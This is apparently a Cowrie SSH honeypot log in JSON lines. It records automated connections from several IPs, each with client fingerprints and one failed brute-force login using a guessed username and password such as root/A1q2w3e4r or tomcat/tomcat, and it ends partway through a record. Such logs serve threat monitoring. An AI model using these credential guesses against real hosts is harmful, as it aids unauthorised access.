{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":44162,"dst_ip":"159.203.135.109","dst_port":22,"session":"63a9d298109c","protocol":"ssh","message":"New connection: 103.75.199.4:44162 (159.203.135.109:22) [session: 63a9d298109c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:46:31.967106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:46:31.971993Z","src_ip":"103.75.199.4","session":"63a9d298109c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:46:32.066803Z","src_ip":"103.75.199.4","session":"63a9d298109c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat","message":"login attempt [tomcat/tomcat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:46:32.340255Z","src_ip":"103.75.199.4","session":"63a9d298109c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:46:33.433264Z","src_ip":"103.75.199.4","session":"63a9d298109c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.154.34.232","src_port":48314,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ef876c3b883","protocol":"ssh","message":"New connection: 94.154.34.232:48314 (10.17.0.5:22) [session: 6ef876c3b883]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:46:37.042551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:46:37.049936Z","src_ip":"94.154.34.232","session":"6ef876c3b883","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:46:37.175215Z","src_ip":"94.154.34.232","session":"6ef876c3b883","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"d41d8cd98f00b204e9800998ecf8427e","message":"login attempt [root/d41d8cd98f00b204e9800998ecf8427e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:46:37.699590Z","src_ip":"94.154.34.232","session":"6ef876c3b883","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:46:38.830263Z","src_ip":"94.154.34.232","session":"6ef876c3b883","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":33192,"dst_ip":"159.203.135.109","dst_port":22,"session":"83d3097b471c","protocol":"ssh","message":"New connection: 103.75.199.4:33192 (159.203.135.109:22) [session: 83d3097b471c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:46:53.829826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:46:53.835245Z","src_ip":"103.75.199.4","session":"83d3097b471c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:46:53.930612Z","src_ip":"103.75.199.4","session":"83d3097b471c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student","message":"login attempt [student/student] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:46:54.204916Z","src_ip":"103.75.199.4","session":"83d3097b471c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:46:55.298399Z","src_ip":"103.75.199.4","session":"83d3097b471c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.37.143","src_port":60424,"dst_ip":"10.17.0.5","dst_port":22,"session":"3435304e2e5c","protocol":"ssh","message":"New connection: 78.40.37.143:60424 (10.17.0.5:22) [session: 3435304e2e5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:47:02.492908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:47:02.497875Z","src_ip":"78.40.37.143","session":"3435304e2e5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:47:02.581714Z","src_ip":"78.40.37.143","session":"3435304e2e5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bartek","password":"bartek","message":"login attempt [bartek/bartek] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:47:02.950801Z","src_ip":"78.40.37.143","session":"3435304e2e5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:47:04.038192Z","src_ip":"78.40.37.143","session":"3435304e2e5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.46.75","src_port":34656,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ed73acd64d6","protocol":"ssh","message":"New connection: 43.153.46.75:34656 (159.203.135.109:22) [session: 0ed73acd64d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:47:05.102766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:47:05.112690Z","src_ip":"43.153.46.75","session":"0ed73acd64d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:47:05.180714Z","src_ip":"43.153.46.75","session":"0ed73acd64d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:47:05.487172Z","src_ip":"43.153.46.75","session":"0ed73acd64d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:47:06.558654Z","src_ip":"43.153.46.75","session":"0ed73acd64d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":46624,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff2e0a0debfd","protocol":"ssh","message":"New connection: 103.75.199.4:46624 (159.203.135.109:22) [session: ff2e0a0debfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:47:15.704726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:47:15.709662Z","src_ip":"103.75.199.4","session":"ff2e0a0debfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:47:15.801198Z","src_ip":"103.75.199.4","session":"ff2e0a0debfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo","message":"login attempt [demo/demo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:47:16.077260Z","src_ip":"103.75.199.4","session":"ff2e0a0debfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:47:17.171104Z","src_ip":"103.75.199.4","session":"ff2e0a0debfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":58874,"dst_ip":"159.203.135.109","dst_port":22,"session":"954536989b76","protocol":"ssh","message":"New connection: 103.75.199.4:58874 (159.203.135.109:22) [session: 954536989b76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:47:37.618078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:47:37.623408Z","src_ip":"103.75.199.4","session":"954536989b76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:47:37.724861Z","src_ip":"103.75.199.4","session":"954536989b76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"test2","message":"login attempt [test2/test2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:47:38.012245Z","src_ip":"103.75.199.4","session":"954536989b76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:47:39.109881Z","src_ip":"103.75.199.4","session":"954536989b76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.154.34.232","src_port":35626,"dst_ip":"10.17.0.5","dst_port":22,"session":"29e5730ca578","protocol":"ssh","message":"New connection: 94.154.34.232:35626 (10.17.0.5:22) [session: 29e5730ca578]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:47:49.044863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:47:49.048769Z","src_ip":"94.154.34.232","session":"29e5730ca578","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:47:49.205131Z","src_ip":"94.154.34.232","session":"29e5730ca578","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A1q2w3e4r","message":"login attempt [root/A1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:47:49.748060Z","src_ip":"94.154.34.232","session":"29e5730ca578","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:47:50.877773Z","src_ip":"94.154.34.232","session":"29e5730ca578","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":49548,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7b0129e9130","protocol":"ssh","message":"New connection: 80.94.92.182:49548 (10.17.0.5:22) [session: c7b0129e9130]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:47:56.970520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:47:57.673594Z","src_ip":"80.94.92.182","session":"c7b0129e9130","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-s